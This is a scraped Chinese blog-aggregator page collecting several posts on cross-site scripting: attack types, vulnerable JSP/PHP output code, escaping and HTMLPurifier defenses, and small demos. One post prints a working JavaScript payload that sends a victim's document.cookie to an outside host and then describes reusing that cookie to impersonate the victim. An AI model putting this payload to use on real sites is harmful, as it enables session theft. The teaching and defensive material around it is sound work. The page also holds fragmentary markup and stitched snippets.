精华内容
下载资源
问答
  • xss攻击实例

    千次阅读 2019-10-16 22:00:34
    Cross Site Script 攻击者利用应用程序的动态展示数据功能,在 html ...攻击者会通过社会工程学手段,发送一个 URL 连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。 ✨存储型跨站脚本攻...

    Cross Site Script

    攻击者利用应用程序的动态展示数据功能,在 html 页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在 html 中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。

    1.分类

    • ?反射型跨站脚本攻击
      攻击者会通过社会工程学手段,发送一个 URL 连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
    • 存储型跨站脚本攻击
      攻击者利用 web 应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie 中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。
    • ?DOM型跨站攻击
      由于 html 页面中,定义了一段 JS,根据用户的输入,显示一段 html 代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。DOM 跨站和以上两个跨站攻击的差别是, DOM 跨站是纯页面脚本的输出,只有规范使用 JAVASCRIPT,才可以防御。

    2.危害

    1. 盗取用户 cookie,伪造用户身份登录。
    2. 控制用户浏览器。
    3. 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
    4. 衍生 URL 跳转漏洞。
    5. 让官方网站出现钓鱼页面。
    6. 蠕虫攻击

    3.代码示例

    • 直接在html页面展示“用户可控数据”,将直接导致跨站脚本威胁
      • java实例,某jsp文件
    while(rs.next()){
    %>
    <tr>
    <td><%=rs.getInt("id") %></td>
    <td><%=rs.getString("pname")%></td>
    <td><%=rs.getString("pdesc")%></td>
    <td><%=rs.getString("ptype")%></td>
    </tr>
    <%
    }
    

    代码中这几个加粗的变量“rs.getInt(“id”)、 rs.getString(“pname”)、rs.getString(“pdesc”)、 rs.getString(“ptype”)” ,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS 脚本执行,或页面元素被“用户可控数据”插入的页面 HTML 代码控制,从而造成攻击。
    - php实例

    <tr>
    <td><?=$row["id"] ?></td>
    <td><?=$row["pname"]?></td>
    <td><?=$row["pdesc"]?></td>
    <td><?=$row["ptype"]?></td>
    </tr>
    
    • 若实例代码是我一个web应用,恶意用户可以做到以下攻击
    1. 添加产品时插入恶意脚本
      在这里插入图片描述
      攻击者发布产后,等待用户来浏览产品列表页面
    2. 一个用户浏览页面
      /ZCKL3lnPYOk7mgo.png)
      页面中直接显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。将执行 http://inbreak.net/a.js 这个 JS 脚本。
      脚本内容:
    a=document.createElement("iframe");
    function b(){e=escape(document.cookie);
    c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()];
    document.body.appendChild(a);
    a.src=c.join();}setTimeout('b()',5000);
    

    获取当前浏览者的 COOKIE,并发送到 a.php,这个文件负责接收到用户发来的cookie,并保存为 haha.txt 文件。这时,用户的 cookie 已经发送到了攻击者的服务器上,攻击者可以打开 haha.txt 文件。
    在这里插入图片描述
    这就是刚才那个用户的 cookie,攻击者可以使用浏览器插件,把自己的 cookie 替换成刚刚窃取用户的 cookie。之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。

    4.解决方案

    • html/xml页面输出规范
    1. 在 HTML/XML 中显示“用户可控数据”前,应该进行 html escape 转义。
      • JAVA 示例:
      <div>#escapeHTML($user.name) </div>
      
    #escapeHTML($user.name) 所有 HTML 和 XML 中输出的数据,都应该做 html escape 转义。 ``` escapeHTML 函数参考 [esapi 实现](http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java) - php实例 ```php
    htmlentities($row["user.name"])
    所有 HTML 和 XML 中输出的数据,都应该做 html escape 转义。 ```
    - escapeHTML 需要进行 html 转义应该按照以下列表进行转义
    ```
    & --> &amp;
    < --> &lt;
    > --> &gt;
    " --> &quot;
    ' --> &#39;
    ```
    
    1. 在 javascript 内容中输出的“用户可控数据”,需要做 javascript escape 转义。html 转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。
      • java 实例
    1. 对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出 HTML的情况)。
    • 示例(Fasttext 框架):
    <td>文章内容: </td><td>#SHTML($article.context)</td>
    
    • 安全过滤的代码,请参考“Fasttext 框架”的富文本输出函数。Fasttext 源码
    1. 输出在 url 中的数据,做 url 安全输出。一些 html 标签的属性,需要,如果接收“用户可控数据”,需要做安全检查。以下属性的值,如果是用户可控数据,需要做安全检查
    'action', 'background', 'codebase', 'dynsrc', 'href', 'lowsrc', 'src'
    
    • 这些属性的值,一般都是一个 URL,如果整串 URL 都是由“用户可控数据”组成的,则必须满足以下条件:
    • a. 以“http”开头
    char[] uc = url.toCharArray();
    if(uc[0] != 'h' || uc[1] != 't' || uc[2] != 't' || uc[3] != 'p'){
    return "";}
    /*转义“用户可控数据”中的以下字符
    < --> %3C
    > --> %3E
    " --> %22
    ' --> %27
    
    • b.举例
    <img src=”#surl($imgurl)”>
    
    1. 针对 DOM 跨站的解决方案,详见《javascript 安全编码规范》

    2. 在给用户设置认证 COOKIE 时,加入 HTTPONLY,详见《Cookie httponly flag》章节

    3. 在 style 内容中输出的“用户可控数据”,需要做 CSS escape 转义。

      • 举例使用:
        String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input") );
      • encodeForCSS 实现代码参考
      • AJAX 输出规范:
      1. XML 输出“用户可控数据”时,对数据部分做 HTML 转义。
        • 示例:
    <?xml version="1.0" encoding="UTF-8" ?>
    <man>
    <name>#xmlEscape($name)</name>
    <man>
    
    -   json 输出要先对变量内容中的“用户可控数据”单独作 htmlEscape,再对变量内容做一次 javascriptEscape。
    
    String cityname=”浙江<B>+StringUtil.htmlEscape(city.name)+</B>;
    String json =
    "citys:{city:['"+
    StringUtil.javascript(cityname) +
    "']}";
    
    1. 非 xml 输出(包括 json、其他自定义数据格式), response 包中的 http 头的contentType,必须为 json, 并且用户可控数据做 htmlEscape 后才能输出
    response.setContentType("application/json");
    PrintWriter out = response.getWriter();
    out.println(StringUtil.htmlEscape(ajaxReturn));
    
    展开全文
  • XSS攻击实例1

    2014-01-11 09:26:44
    简单让你了解xss攻击。 项目基于Asp.net 框架,VS2010下创建,C#语言
  • XSS:跨站脚本(Cross-site scripting)攻击手段和目的:攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的...为了加深自己对XSS攻击的理解,特意尝试了一下,并把整个过程记录下来。攻击过程:①、客...

    XSS:跨站脚本(Cross-site scripting)

    攻击手段和目的:

    攻击者使被攻击者在浏览器中执行脚本后,如果需要收集来自被攻击者的数据(如cookie或其他敏感信息),可以自行架设一个网站,让被攻击者通过JavaScript等方式把收集好的数据作为参数提交,随后以数据库等形式记录在攻击者自己的服务器上。

    为了加深自己对XSS攻击的理解,特意尝试了一下,并把整个过程记录下来。

    攻击过程:

    ①、客户端收集用户数据(如留言、发布文章功能)

    ②、攻击者将留言内容写入了可执行的JavaScript代码

    ③、将上面的数据未经处理直接存入数据库

    ④、其他用户查看该网站,看了上面包含了可执行的JavaScript代码的文章和评论

    ⑤、其他用户就会在浏览器客户端执行攻击者注入的JavaScript代码

    本次试验用到如下技术:

    ①、(客户端)原生Ajax请求

    ②、(服务端)thinkphp,为了试验方便,不使用数据库,直接返回数据

    ③、 Cors跨域

    原生Ajax请求

    XSS测试

    function ajax() {

    //先声明一个异步请求对象

    let xmlHttpReg = null;

    if (window.ActiveXObject) { //如果是IE

    xmlHttpReg = new ActiveXObject("Microsoft.XMLHTTP");

    } else if (window.XMLHttpRequest) {

    xmlHttpReg = new XMLHttpRequest(); //实例化一个xmlHttpReg

    }

    //如果实例化成功,就调用open()方法,就开始准备向服务器发送请求

    if (xmlHttpReg !== null) {

    xmlHttpReg.open("get", "http://vueapp.com", true);

    xmlHttpReg.send(null);

    xmlHttpReg.onreadystatechange = doResult; //设置回调函数

    }

    //设定函数doResult()

    function doResult() {

    if (xmlHttpReg.readyState == 4) {//4代表执行完成

    if (xmlHttpReg.status == 200) {//200代表执行成功

    document.getElementById("Text").innerHTML = xmlHttpReg.responseText;

    }

    }

    }

    }

    在这里我使用的是get请求

    其中请求地址http://vueapp.com 是我自定义的地址,使用Apache配置

    由于这里涉及到跨域问题(出于浏览器安全的同源策略,协议、域名、端口号任一不同都属于跨域)

    Failed to load http://vueapp.com/: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'null' is therefore not allowed access.

    我的解决方法是CORS

    在后端的接口中添加这么一行代码

    header('Access-Control-Allow-Origin:*'); // 允许所有访问源

    返回的数据是:

    $this->ajaxReturn(array('status' => 0,'info' => "11.png"));

    这里我们利用img标签的onerrer属性来执行JS代码,所以src属性填一个访问不了就可以触发onerrer了

    开始测试

    点击 XSS测试 按钮,结果如图(谷歌浏览器):

    bVbnnw0?w=1121&h=87

    bVbnnwX?w=909&h=212

    这就是一个最最最简单的XSS攻击案例

    这次我们去一个网站盗用cookie

    bVbnnA8?w=699&h=357

    bVbnnBd?w=435&h=230

    可以看到所有的cookie信息都在这里了

    *发现的问题

    为什么我不直接用script标签,而用img的onerror属性。

    因为script标签有问题,在后台返回来的script标签在dom是存在的,但是并没有执行

    还请各位大佬多多指正

    展开全文
  • XSS攻击实例分析

    2020-07-29 21:28:13
    例1、简单XSS攻击 留言类,简单注入javascript 万能测试XSS漏洞代码:"/></textarea><script>alert(1)</script> 有个表单域:<input type=“text” name=“content” value=“这里是...

    例1、简单XSS攻击

    留言类,简单注入javascript

    万能测试XSS漏洞代码:"/></textarea><script>alert(1)</script>

     

    有个表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>

     

    1、假若用户填写数据为:<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)

     

    2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库

     

    3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

     

    【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】

     

    例2、盗取cookie

    1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

     

    2、test88.com中的表单,xss.html

    3、恶意攻击者插入相应代码

    4、数据(攻击代码)插入数据库

     

    5、攻击者控制的主机中设置接收盗取的cookie

     

    开始模拟测试

    1、test88.com中设置生成sessionID代码

     

    2、客户端访问上面代码并生成自己的sessionID

    3、客户端访问xss.html

    #下面为模拟被攻击后取出数据的xss.html代码(显示数据)

     

     

    展开全文
  • 准备:1,下载Htmlpurifier 2,在公共函数写一个方法! 一、下载:Htmlpurifier,下载的网址是:... 放在根目录就行了 ...function removeXSS($data) ... $_clean_xss_config = HTMLPurifier_Config::cr...

    准备:1,下载Htmlpurifier   2,在公共函数写一个方法!

    一、下载:Htmlpurifier,下载的网址是:http://htmlpurifier.org/

    放在根目录就行了

    二、在 function.php 方法中

    function removeXSS($data)
    {

        require_once './HtmlPurifier/HTMLPurifier.auto.php';
        $_clean_xss_config = HTMLPurifier_Config::createDefault();
        $_clean_xss_config->set('Core.Encoding', 'UTF-8');
        // 保留的标签
        $_clean_xss_config->set('HTML.Allowed', 'div,b,strong,i,em,a[href|title],ul,ol,li,p[style],br,span[style],img[width|height|alt|src]');
        $_clean_xss_config->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align');
        $_clean_xss_config->set('HTML.TargetBlank', TRUE);
        $_clean_xss_obj = new HTMLPurifier($_clean_xss_config);
        return $_clean_xss_obj->purify($data);
        
    }

    三、直接使用

    例如:

    这样子就可以在富文本中过滤脚本的代码了!

     

    展开全文
  • XSS第四节,XSS攻击实例(一)

    万次阅读 2013-07-06 18:16:01
    在开始实例的讲解之前,先看一下XSS的危害情况,第一张图中说明和XSS相关的CVE漏洞有7417个(http://web.nvd.nist.gov/view/vuln/search-results?query=xss&search_type=all&cves=on),第二张图说明在了乌云漏洞...
  • 这篇是继上篇XSS跨站脚本攻击的后篇1、XSS攻击实例分析例1、简单XSS攻击留言类,简单注入javascript有个表单域:1、假若用户填写数据为:alert('foolish!')(或者)2、提交后将会弹出一个foolish警告窗口,接着将数据...
  • XSS攻击简单实例

    千次阅读 2020-03-25 13:22:33
    下面演示一个简单的留言板攻击实例 我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表 前端代码如下: <!DOCTYPE html><html><head> <?php include('/components/...
  • XSS攻击

    2018-10-22 16:55:00
    https://www.cnblogs.com/phpstudy2015-6/p/6767032.html 阅读目录 1、简介 2、原因解析 3、XSS攻击分类  3.1、反射型xss攻击 ...4、XSS攻击实例分析  例1、简单XSS攻击  例2、盗取cookie 5、...
  • xss攻击简单实例

    2015-12-02 10:59:00
    上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决...
  • 包括前后端验证,后端防 XSS 攻击,不包括 SQL 注入内容;密码散列值(hash)的创建与哈希验证。 /* 这是 php 官方推荐的密码处理函数 */ password_hash() //创建密码的散列(hash) password_verify() //验证密码...
  • Asp.net跨站脚本攻击XSS实例分享

    千次阅读 2015-10-10 15:31:15
    Asp.net跨站脚本攻击XSS实例分享

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 11,762
精华内容 4,704
关键字:

xss攻击实例